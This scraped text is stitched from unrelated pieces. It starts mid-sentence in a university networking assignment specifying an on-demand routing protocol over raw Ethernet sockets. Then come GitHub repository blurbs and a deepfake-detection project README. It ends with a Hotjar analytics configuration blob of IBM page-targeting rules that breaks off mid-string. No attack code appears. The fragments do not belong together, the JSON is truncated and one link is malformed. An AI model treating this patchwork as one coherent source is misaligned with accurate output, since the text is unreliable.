<linux/if_ether.h> include file (i.e., the file /usr/include/linux/if_ether.h) contains protocol values defined for the standard protocols typically found on an Ethernet LAN, as well as other values such as ETH_P_ALL. You should set protocol to a value of your choice which is not a <linux/if_ether.h> value, but which is, hopefully, unique to yourself. Remember that you will all be running your code using the same root account on the vm1 , . . . . . , vm10 nodes. So if two of you happen to choose the same protocol value and happen to be running on the same vm node at the same time, your applications will receive each other’s frames. For that reason, try to choose a protocol value for the socket(s) that is likely to be unique to yourself (something based on your Stony Brook student ID number, for example). This value effectively becomes the protocol value for your implementation of ODR, as opposed to some other cse 533 student's implementation. Because your value of protocol is to be carried in the frame type field of the Ethernet frame header, the value chosen should be not less than 1536 (0x600) so that it is not misinterpreted as the length of an Ethernet 802.3 frame. Note from the man pages for packet(7) that frames are passed to and from the socket without any processing in the frame content by the device driver on the other side of the socket, except for calculating and tagging on the 4-byte CRC trailer for outgoing frames, and stripping that trailer before delivering incoming frames to the socket. Nevertheless, if you write a frame that is less than 60 bytes, the necessary padding is automatically added by the device driver so that the frame that is actually transmitted out is the minimum Ethernet size of 64 bytes. When reading from the socket, however, any such padding that was introduced into a short frame at the sending node to bring it up to the minimum frame size is not stripped off - it is included in what you receive from the socket (thus, the minimum number of bytes you receive should never be less than 60). Also, you will have to build the frame header for outgoing frames yourselves (assuming you use SOCK_RAW type sockets). Bear in mind that the field values in that header have to be in network order. The ODR process also creates a domain datagram socket for communication with application processes at the node, and binds the socket to a ‘well known’ sun_path name for the ODR service. Because it is dealing with fixed topologies, ODR is, by and large, considerably simpler than AODV. In particular, discovered routes are relatively stable and there is no need for all the paraphernalia that goes with the possibility of routes changing (such as maintenance of active nodes in the routing tables and timeout mechanisms; timeouts on reverse links; lifetime field in the RREP messages; etc.) Nor will we be implementing source_sequence_#s (in the RREQ messages), and dest_sequence_# (in RREQ and RREP messages). In reality, we should (though we will not, for the sake of simplicity, be doing so) implement some sort of sequence number mechanism, or some alternative mechanism such as split-horizon for example, if we are to avoid possible scenarios of routing loops in a “count to infinity” context (I shall explain this point in class). However, we want ODR to discover shortest-hop paths, and we want it to do so in a reasonably efficient manner. This necessitates having one or two aspects of its operations work in a different, possibly slightly more complicated, way than AODV does. ODR has several basic responsibilities : Build and maintain a routing table. For each destination in the table, the routing table structure should include, at a minimum, the next-hop node (in the form of the Ethernet address for that node) and outgoing interface index, the number of hops to the destination, and a timestamp of when the the routing table entry was made or last “reconfirmed” / updated. Note that a destination node in the table is to be identified only by its ‘canonical’ IP address, and not by any other IP addresses the node has. Generate a RREQ in response to a time client calling msg_send for a destination for which ODR has no route (or for which a route exists, but msg_send has the flag parameter set or the route has gone ‘stale’ – see below), and ‘flood’ the RREQ out on all the node’s interfaces (except for the interface it came in on and, of course, the interfaces eth0 and lo). Flooding is done using an Ethernet broadcast destination address (0xff:ff:ff:ff:ff:ff) in the outgoing frame header. Note that a copy of the broadcast packet is supposed to / might be looped back to the node that sends it (see p. 535 in the Stevens textbook). ODR will have to take care not to treat these copies as new incoming RREQs. Also note that ODR at the client node increments the broadcast_id every time it issues a new RREQ for any destination node. When a RREQ is received, ODR has to generate a RREP if it is at the destination node, or if it is at an intermediate node that happens to have a route (which is not ‘stale’ – see below) to the destination. Otherwise, it must propagate the RREQ by flooding it out on all the node’s interfaces (except the interface the RREQ arrived on). Note that as it processes received RREQs, ODR should enter the ‘reverse’ route back to the source node into its routing table, or update an existing entry back to the source node if the RREQ received shows a shorter-hop route, or a route with the same number of hops but going through a different neighbour. The timestamp associated with the table entry should be updated whenever an existing route is either “reconfirmed” or updated. Obviously, if the node is going to generate a RREP, updating an existing entry back to the source node with a more efficient route, or a same-hops route using a different neighbour, should be done before the RREP is generated. Unlike AODV, when an intermediate node receives a RREQ for which it generates a RREP, it should nevertheless continue to flood the RREQ it received if the RREQ pertains to a source node whose existence it has heretofore been unaware of, or the RREQ gives it a more efficient route than it knew of back to the source node (the reason for continuing to flood the RREQ is so that other nodes in the intranet also become aware of the existence of the source node or of the potentially more optimal reverse route to it, and update their tables accordingly). However, since an RREP for this RREQ is being sent by our node, we do not want other nodes who receive the RREQ propagated by our node, and who might be in a position to do so, to also send RREPs. So we need to introduce a field in the RREQ message, not present in the AODV specifications, which acts like a “RREP already sent” field. Our node sets this field before further propagating the RREQ and nodes receiving an RREQ with this field set do not send RREPs in response, even if they are in a position to do so. ODR may, of course, receive multiple, distinct instances of the same RREQ (the combination of source_addr and broadcast_id uniquely identifies the RREQ). Such RREQs should not be flooded out unless they have a lower hop count than instances of that RREQ that had previously been received. By the same token, if ODR is in a position to send out a RREP, and has already done so for this, now repeating, RREQ , it should not send out another RREP unless the RREQ shows a more efficient, previously unknown, reverse route back to the source node. In other words, ODR should not generate essentially duplicative RREPs, nor generate RREPs to instances of RREQs that reflect reverse routes to the source that are not more efficient than what we already have. Relay RREPs received back to the source node (this is done using the ‘reverse’ route entered into the routing table when the corresponding RREQ was processed). At the same time, a ‘forward’ path to the destination is entered into the routing table. ODR could receive multiple, distinct RREPs for the same RREQ. The ‘forward’ route entered in the routing table should be updated to reflect the shortest-hop route to the destination, and RREPs reflecting suboptimal routes should not be relayed back to the source. In general, maintaining a route and its associated timestamp in the table in response to RREPs received is done in the same manner described above for RREQs. Forward time client/server messages along the next hop. (The following is important – you will lose points if you do not implement it.) Note that such application payload messages (especially if they are the initial request from the client to the server, rather than the server response back to the client) can be like “free” RREPs, enabling nodes along the path from source (client) to destination (server) node to build a reverse path back to the client node whose existence they were heretofore unaware of (or, possibly, to update an existing route with a more optimal one). Before it forwards an application payload message along the next hop, ODR at an intermediate node (and also at the final destination node) should use the message to update its routing table in this way. Thus, calls to msg_send by time servers should never cause ODR at the server node to initiate RREQs, since the receipt of a time client request implies that a route back to the client node should now exist in the routing table. The only exception to this is if the server node has a staleness parameter of zero (see below). A routing table entry has associated with it a timestamp that gives the time the entry was made into the table. When a client at a node calls msg_send, and if an entry for the destination node already exists in the routing table, ODR first checks that the routing information is not ‘stale’. A stale routing table entry is one that is older than the value defined by the staleness parameter given as a command line argument to the ODR process when it is executed. ODR deletes stale entries (as well as non-stale entries when the flag parameter in msg_send is set) and initiates a route rediscovery by issuing a RREQ for the destination node. This will force periodic updating of the routing tables to take care of failed nodes along the current path, Ethernet addresses that might have changed, and so on. Similarly, as RREQs propagate through the intranet, existing stale table entries at intermediate nodes are deleted and new route discoveries propagated. As noted above when discussing the processing of RREQs and RREPs, the associated timestamp for an existing table entry is updated in response to having the route either “reconfirmed” or updated (this applies to both reverse routes, by virtue of RREQs received, and to forward routes, by virtue of RREPs). Finally, note that a staleness parameter of 0 essentially indicates that the discovered route will be used only once, when first discovered, and then discarded. Effectively, an ODR with staleness parameter 0 maintains no real routing table at all ; instead, it forces route discoveries at every step of its operation. As a practical matter, ODR should be run with staleness parameter values that are considerably larger than the longest RTT on the intranet, otherwise performance will degrade considerably (and collapse entirely as the parameter values approach 0). Nevertheless, for robustness, we need to implement a mechanism by which an intermediate node that receives a RREP or application payload message for forwarding and finds that its relevant routing table entry has since gone stale, can intiate a RREQ to rediscover the route it needs. RREQ, RREP, and time client/server request/response messages will all have to be carried as encapsulated ODR protocol messages that form the data payload of Ethernet frames. So we need to design the structure of ODR protocol messages. The format should contain a type field (0 for RREQ, 1 for RREP, 2 for application payload ). The remaining fields in an ODR message will depend on what type it is. The fields needed for (our simplified versions of AODV’s) RREQ and RREP should be fairly clear to you, but keep in mind that you need to introduce two extra fields: The “RREP already sent” bit or field in RREQ messages, as mentioned above. A “forced discovery” bit or field in both RREQ and RREP messages: When a client application forces route rediscovery, this bit should be set in the RREQ issued by the client node ODR. Intermediate nodes that are not the destination node but which do have a route to the destination node should not respond with RREPs to an RREQ which has the forced discovery field set. Instead, they should continue to flood the RREQ so that it eventually reaches the destination node which will then respond with an RREP. The intermediate nodes relaying such an RREQ must update their ‘reverse’ route back to the source node accordingly, even if the new route is less efficient (i.e., has more hops) than the one they currently have in their routing table. The destination node responds to the RREQ with an RREP in which this field is also set. Intermediate nodes that receive such a forced discovery RREP must update their ‘forward’ route to the destination node accordingly, even if the new route is less efficient (i.e., has more hops) than the one they currently have in their routing table. This behaviour will cause a forced discovery RREQ to be responded to only by the destination node itself and not any other node, and will cause intermediate nodes to update their routing tables to both source and destination nodes in accordance with the latest routing information received, to cover the possibility that older routes are no longer valid because nodes and/or links along their paths have gone down. A type 2, application payload, message needs to contain the following type of information : type = 2 ‘canonical’ IP address of source node ‘port’ number of source application process (This, of course, is not a real port number in the TCP/UDP sense, but simply a value that ODR at the source node uses to designate the sun_path name for the source application’s domain socket.) ‘canonical’ IP address of destination node ‘port’ number of destination application process (This is passed to ODR by the application process at the source node when it calls msg_send. Its designates the sun_path name for an application’s domain socket at the destination node.) hop count (This starts at 0 and is incremented by 1 at each hop so that ODR can make use of the message to update its routing table, as discussed above.) number of bytes in application message The fields above essentially constitute a ‘header’ for the ODR message. Note that fields which you choose to have carry numeric values (rather than ascii characters, for example) must be in network byte order. ODR-defined numeric-valued fields in type 0, RREQ, and type 1, RREP, messages must, of course, also be in network byte order. Also note that only the ‘canonical’ IP addresses are used for the source and destination nodes in the ODR header. The same has to be true in the headers for type 0, RREQ, and type 1, RREP, messages. The general rule is that ODR messages only carry ‘canonical’ IP node addresses. The last field in the type 2 ODR message is essentially the data payload of the message. application message given in the call to msg_send An ODR protocol message is encapsulated as the data payload of an Ethernet frame whose header it fills in as follows : source address = Ethernet address of outgoing interface of the current node where ODR is processing the message. destination address = Ethernet broadcast address for type 0 messages; Ethernet address of next hop node for type 1 & 2 messages. protocol field = protocol value for the ODR PF_PACKET socket(s). Last but not least, whenever ODR writes an Ethernet frame out through its socket, it prints out on stdout the message ODR at node vm i1 : sending frame hdr src vm i1 dest addr ODR msg type n src vm i2 dest vm i3 where addr is in presentation format (i.e., hexadecimal xx:xx:xx:xx:xx:xx) and gives the destination Ethernet address in the outgoing frame header. Other nodes in the message should be identified by their vm name. A message should be printed out for each packet sent out on a distinct interface. ODR and the API When the ODR process first starts, it must construct a table in which it enters all well-known ‘port’ numbers and their corresponding sun_path names. These will constitute permanent entries in the table. Thereafter, whenever it reads a message off its domain socket, it must obtain the sun_path name for the peer process socket and check whether that name is entered in the table. If not, it must select an ‘ephemeral’ ‘port’ value by which to designate the peer sun_path name and enter the pair < port value , sun_path name > into the table. Such entries cannot be permanent otherwise the table will grow unboundedly in time, with entries surviving for ever, beyond the peer processes’ demise. We must associate a time_to_live field with a non-permanent table entry, and purge the entry if nothing is heard from the peer for that amount of time. Every time a peer process for which a non-permanent table entry exists communicates with ODR, its time_to_live value should be reinitialized. Note that when ODR writes to a peer, it is possible for the write to fail because the peer does not exist : it could be a ‘well-known’ service that is not running, or we could be in the interval between a process with a non-permanent table entry terminating and the expiration of its time_to_live value. Notes A proper implementation of ODR would probably require that RREQ and RREP messages be backed up by some kind of timeout and retransmission mechanism since the network transmission environment is not reliable. This would considerably complicate the implementation (because at any given moment, a node could have multiple RREQs that it has flooded out, but for which it has still not received RREPs; the situation is further complicated by the fact that not all intermediate nodes receiving and relaying RREQs necessarily lie on a path to the destination, and therefore should expect to receive RREPs), and, learning-wise, would not add much to the experience you should have gained from Assignment 2.
tthustla / Twitter Sentiment Analysis Part4Data split, feature extraction with count vectorizer
BhusanChettri / ASVspoof2019Data split we use during the ASVspoof 2019 challenge
shukun-ai / Shukun AISHUKUN AI is an AI-native database search application that helps companies explore and analyze data. SHUKUN AI provides a feature that helps you split complex natural language tasks into smaller parts then combines them into the results.
stm32-hotspot / STM32WB BLE Dev App AndroidApplication created in Android Studio by ST Microelectronics for mobile devices running Android. The app is split into two parts: scanning & connection. In the scanning phase, the user can scan for nearby Bluetooth devices, filter scanning by device name or RSSI value, and read a device's raw & parsed advertising data. Once connected to the BLE device, the user will see a list of the device's BLE services & characteristics. The user can then use the read, write, & notify functionality on each supported characteristic.
ajaybhatiya1234 / DEEP FACE Dectection01 Read the technical deep dive: https://www.dessa.com/post/deepfake-detection-that-actually-works # Visual DeepFake Detection In our recent [article](https://www.dessa.com/post/deepfake-detection-that-actually-works), we make the following contributions: * We show that the model proposed in current state of the art in video manipulation (FaceForensics++) does not generalize to real-life videos randomly collected from Youtube. * We show the need for the detector to be constantly updated with real-world data, and propose an initial solution in hopes of solving deepfake video detection. Our Pytorch implementation, conducts extensive experiments to demonstrate that the datasets produced by Google and detailed in the FaceForensics++ paper are not sufficient for making neural networks generalize to detect real-life face manipulation techniques. It also provides a current solution for such behavior which relies on adding more data. Our Pytorch model is based on a pre-trained ResNet18 on Imagenet, that we finetune to solve the deepfake detection problem. We also conduct large scale experiments using Dessa's open source scheduler + experiment manger [Atlas](https://github.com/dessa-research/atlas). ## Setup ## Prerequisities To run the code, your system should meet the following requirements: RAM >= 32GB , GPUs >=1 ## Steps 0. Install [nvidia-docker](https://github.com/nvidia/nvidia-docker/wiki/Installation-(version-2.0)) 00. Install [ffmpeg](https://www.ffmpeg.org/download.html) or `sudo apt install ffmpeg` 1. Git Clone this repository. 2. If you haven't already, install [Atlas](https://github.com/dessa-research/atlas). 3. Once you've installed Atlas, activate your environment if you haven't already, and navigate to your project folder. That's it, You're ready to go! ## Datasets Half of the dataset used in this project is from the [FaceForensics](https://github.com/ondyari/FaceForensics/tree/master/dataset) deepfake detection dataset. . To download this data, please make sure to fill out the [google form](https://github.com/ondyari/FaceForensics/#access) to request access to the data. For the dataset that we collected from Youtube, it is accessible on [S3](ttps://deepfake-detection.s3.amazonaws.com/augment_deepfake.tar.gz) for download. To automatically download and restructure both datasets, please execute: ``` bash restructure_data.sh faceforensics_download.py ``` Note: You need to have received the download script from FaceForensics++ people before executing the restructure script. Note2: We created the `restructure_data.sh` to do a split that replicates our exact experiments avaiable in the UI above, please feel free to change the splits as you wish. ## Walkthrough Before starting to train/evaluate models, we should first create the docker image that we will be running our experiments with. To do so, we already prepared a dockerfile to do that inside `custom_docker_image`. To create the docker image, execute the following commands in terminal: ``` cd custom_docker_image nvidia-docker build . -t atlas_ff ``` Note: if you change the image name, please make sure you also modify line 16 of `job.config.yaml` to match the docker image name. Inside `job.config.yaml`, please modify the data path on host from `/media/biggie2/FaceForensics/datasets/` to the absolute path of your `datasets` folder. The folder containing your datasets should have the following structure: ``` datasets ├── augment_deepfake (2) │ ├── fake │ │ └── frames │ ├── real │ │ └── frames │ └── val │ ├── fake │ └── real ├── base_deepfake (1) │ ├── fake │ │ └── frames │ ├── real │ │ └── frames │ └── val │ ├── fake │ └── real ├── both_deepfake (3) │ ├── fake │ │ └── frames │ ├── real │ │ └── frames │ └── val │ ├── fake │ └── real ├── precomputed (4) └── T_deepfake (0) ├── manipulated_sequences │ ├── DeepFakeDetection │ ├── Deepfakes │ ├── Face2Face │ ├── FaceSwap │ └── NeuralTextures └── original_sequences ├── actors └── youtube ``` Notes: * (0) is the dataset downloaded using the FaceForensics repo scripts * (1) is a reshaped version of FaceForensics data to match the expected structure by the codebase. subfolders called `frames` contain frames collected using `ffmpeg` * (2) is the augmented dataset, collected from youtube, available on s3. * (3) is the combination of both base and augmented datasets. * (4) precomputed will be automatically created during training. It holds cashed cropped frames. Then, to run all the experiments we will show in the article to come, you can launch the script `hparams_search.py` using: ```bash python hparams_search.py ``` ## Results In the following pictures, the title for each subplot is in the form `real_prob, fake_prob | prediction | label`. #### Model trained on FaceForensics++ dataset For models trained on the paper dataset alone, we notice that the model only learns to detect the manipulation techniques mentioned in the paper and misses all the manipulations in real world data (from data)   #### Model trained on Youtube dataset Models trained on the youtube data alone learn to detect real world deepfakes, but also learn to detect easy deepfakes in the paper dataset as well. These models however fail to detect any other type of manipulation (such as NeuralTextures).   #### Model trained on Paper + Youtube dataset Finally, models trained on the combination of both datasets together, learns to detect both real world manipulation techniques as well as the other methods mentioned in FaceForensics++ paper.   for a more in depth explanation of these results, please refer to the [article](https://www.dessa.com/post/deepfake-detection-that-actually-works) we published. More results can be seen in the [interactive UI](http://deepfake-detection.dessa.com/projects) ## Help improve this technology Please feel free to fork this work and keep pushing on it. If you also want to help improving the deepfake detection datasets, please share your real/forged samples at foundations@dessa.com. ## LICENSE © 2020 Square, Inc. ATLAS, DESSA, the Dessa Logo, and others are trademarks of Square, Inc. All third party names and trademarks are properties of their respective owners and are used for identification purposes only.
Buildsoftwaresphere / Windowwindow.hjSiteSettings = {"forms":[],"record":true,"polls":[],"r":1.0,"record_targeting_rules":[],"deferred_page_contents":[{"targeting":[{"pattern":"http:\/\/www.ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles\/guided-tour\/marketing+leader\/marketing+leader?role=\/ibm+blue+content\/solutions\/cloud-analytics\/roles\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":429895},{"targeting":[{"pattern":"http:\/\/www.ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles\/guided-tour\/marketing+leader\/marketing+leader?role=\/ibm+blue+content\/solutions\/cloud-analytics\/roles\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":429894},{"targeting":[{"pattern":"http:\/\/www.ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles\/guided-tour\/marketing+leader\/marketing+leader?role=\/ibm+blue+content\/solutions\/cloud-analytics\/roles\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":429893},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/mobile-push-notifications\/us\/en-us","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":401005},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/mobile-push-notifications\/us\/en-us","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":264416},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/XConfigureProductView?catalogId=12301&langId=-1&partNumber=DK-D1BCWLL&storeId=18251&ddkey=https%3AXConfigureProduct","match_operation":"exact","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":405647},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/XConfigureProductView?catalogId=12301&langId=-1&partNumber=DK-D1BCWLL&storeId=18251&ddkey=https%3AXConfigureProduct","match_operation":"exact","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":269058},{"targeting":[{"pattern":"https:\/\/www.ibm.com\/marketplace\/cloud\/XConfigureProductView?catalogId=12301&langId=-1&partNumber=DK-D1BCWLL&storeId=18251&ddkey=https%3AXConfigureProduct","match_operation":"exact","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":139636},{"targeting":[{"pattern":"http:\/\/ibm.com\/it-infrastructure\/us-en\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":365464},{"targeting":[{"pattern":"http:\/\/ibm.com\/it-infrastructure\/us-en\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":228875},{"targeting":[{"pattern":"http:\/\/ibm.com\/it-infrastructure\/us-en\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":76098},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/us\/en\/partner-landing","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":311181},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/us\/en\/partner-landing","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":174589},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/us\/en\/partner-landing","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":81585},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/analytics\/spss\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":401721},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/analytics\/spss\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":265132},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/analytics\/spss\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":120082},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/info\/trials\/#all","match_operation":"exact","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":286940},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/info\/trials\/#all","match_operation":"exact","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":150348},{"targeting":[{"pattern":"http:\/\/ibm.com\/software\/info\/trials\/#all","match_operation":"exact","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":114245},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/solutions\/mobilefirst\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":297414},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/solutions\/mobilefirst\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":160822},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/bluemix\/solutions\/mobilefirst\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":67088},{"targeting":[{"pattern":"http:\/\/ibm.com\/uk-en\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":401863},{"targeting":[{"pattern":"http:\/\/ibm.com\/uk-en\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":265274},{"targeting":[{"pattern":"http:\/\/ibm.com\/uk-en\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":118040},{"targeting":[{"pattern":"http:\/\/ibm.com\/analytics\/watson-analytics\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":278677},{"targeting":[{"pattern":"http:\/\/ibm.com\/analytics\/watson-analytics\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":142085},{"targeting":[{"pattern":"http:\/\/ibm.com\/analytics\/watson-analytics\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":84922},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibmid\/basic_register\/register.html","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":369128},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibmid\/basic_register\/register.html","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":232539},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibmid\/basic_register\/register.html","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":84925},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/","match_operation":"starts_with","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":364929},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/","match_operation":"starts_with","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":228340},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/","match_operation":"starts_with","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":104371},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/downloads\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":308793},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/downloads\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":172201},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/downloads\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":108585},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":378334},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":241745},{"targeting":[{"pattern":"http:\/\/ibm.com\/developerworks\/","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":94165},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/XConfigureProductView?trialId=&cm_sp=&catalogId=12301&langId=-1&storeId=18251&partNumber=DK-devWorks-USD&ddkey=http%3AXConfigureProduct#xaddtocart","match_operation":"exact","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":362728},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/XConfigureProductView?trialId=&cm_sp=&catalogId=12301&langId=-1&storeId=18251&partNumber=DK-devWorks-USD&ddkey=http%3AXConfigureProduct#xaddtocart","match_operation":"exact","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":226139},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/XConfigureProductView?trialId=&cm_sp=&catalogId=12301&langId=-1&storeId=18251&partNumber=DK-devWorks-USD&ddkey=http%3AXConfigureProduct#xaddtocart","match_operation":"exact","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":74479},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/?S_PKG=-&S_TACT=C432013W&campaign=PureApplication%20Tutorial_BR&group=PureApp_BR&mkwid=1af491ed-84fa-9ee8-2a5e-00002588308a&ct=C432013W&iio=PSYS&cmp=C4320&ck=%2Bibm%20pureapplication%20service&cs=b&ccy=US&cr=google&cm=k&cn=PureApp_BR","match_operation":"exact","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":318675},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/?S_PKG=-&S_TACT=C432013W&campaign=PureApplication%20Tutorial_BR&group=PureApp_BR&mkwid=1af491ed-84fa-9ee8-2a5e-00002588308a&ct=C432013W&iio=PSYS&cmp=C4320&ck=%2Bibm%20pureapplication%20service&cs=b&ccy=US&cr=google&cm=k&cn=PureApp_BR","match_operation":"exact","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":182083},{"targeting":[{"pattern":"http:\/\/ibm.com\/ibm\/puresystems\/us\/en\/hybrid-cloud\/?S_PKG=-&S_TACT=C432013W&campaign=PureApplication%20Tutorial_BR&group=PureApp_BR&mkwid=1af491ed-84fa-9ee8-2a5e-00002588308a&ct=C432013W&iio=PSYS&cmp=C4320&ck=%2Bibm%20pureapplication%20service&cs=b&ccy=US&cr=google&cm=k&cn=PureApp_BR","match_operation":"exact","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":98162},{"targeting":[{"pattern":"http:\/\/ibm.com\/middleware\/en-us\/index.html","match_operation":"simple","component":"url"},{"pattern":"phone","match_operation":"exact","component":"device"}],"id":342862},{"targeting":[{"pattern":"http:\/\/ibm.com\/middleware\/en-us\/index.html","match_operation":"simple","component":"url"},{"pattern":"tablet","match_operation":"exact","component":"device"}],"id":206270},{"targeting":[{"pattern":"http:\/\/ibm.com\/middleware\/en-us\/index.html","match_operation":"simple","component":"url"},{"pattern":"desktop","match_operation":"exact","component":"device"}],"id":64026}],"recording_capture_keystrokes":false,"heatmaps":[{"targeting":[{"pattern":"http:\/\/ibm.com\/us-en\/","match_operation":"simple","component":"url"}],"created_epoch_time":1449854856,"id":280987},{"targeting":[{"pattern":"http:\/\/www.ibm.com\/cloud-computing\/solutions\/cloud-analytics\/roles\/guided-tour\/marketing+leader\/marketing+leader?role=\/ibm+blue+content\/solutions\/cloud-analytics\/roles\/","match_operation":"simple","component":"url"}],"created_epoch_time":1449851023,"id":280857},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1449732051,"id":277453},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-analytics","match_operation":"simple","component":"url"}],"created_epoch_time":1445024270,"id":205800},{"targeting":[{"pattern":"http:\/\/ibm.com\/smarterplanet\/us\/en\/ibmwatson\/clinical-trial-matching.html","match_operation":"simple","component":"url"}],"created_epoch_time":1444498440,"id":198257},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/searchterm\/marketplace\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445963756,"id":217969},{"targeting":[{"pattern":"http:\/\/ibm.com\/industries\/en-us\/","match_operation":"simple","component":"url"}],"created_epoch_time":1442609143,"id":175931},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-security","match_operation":"simple","component":"url"}],"created_epoch_time":1445624017,"id":214289},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/solutions\/cloud-marketing\/web-customer-management","match_operation":"simple","component":"url"}],"created_epoch_time":1445623797,"id":214280},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/platform","match_operation":"simple","component":"url"}],"created_epoch_time":1444836363,"id":202425},{"targeting":[{"pattern":"http:\/\/ibm.com\/marketplace\/cloud\/enterprise-application-integration\/us\/en-us","match_operation":"simple","component":"url"}],"created_epoch_time":1445978090,"id":218378},{"targeting":[{"pattern":"http:\/\/ibm.com\/cloud-computing\/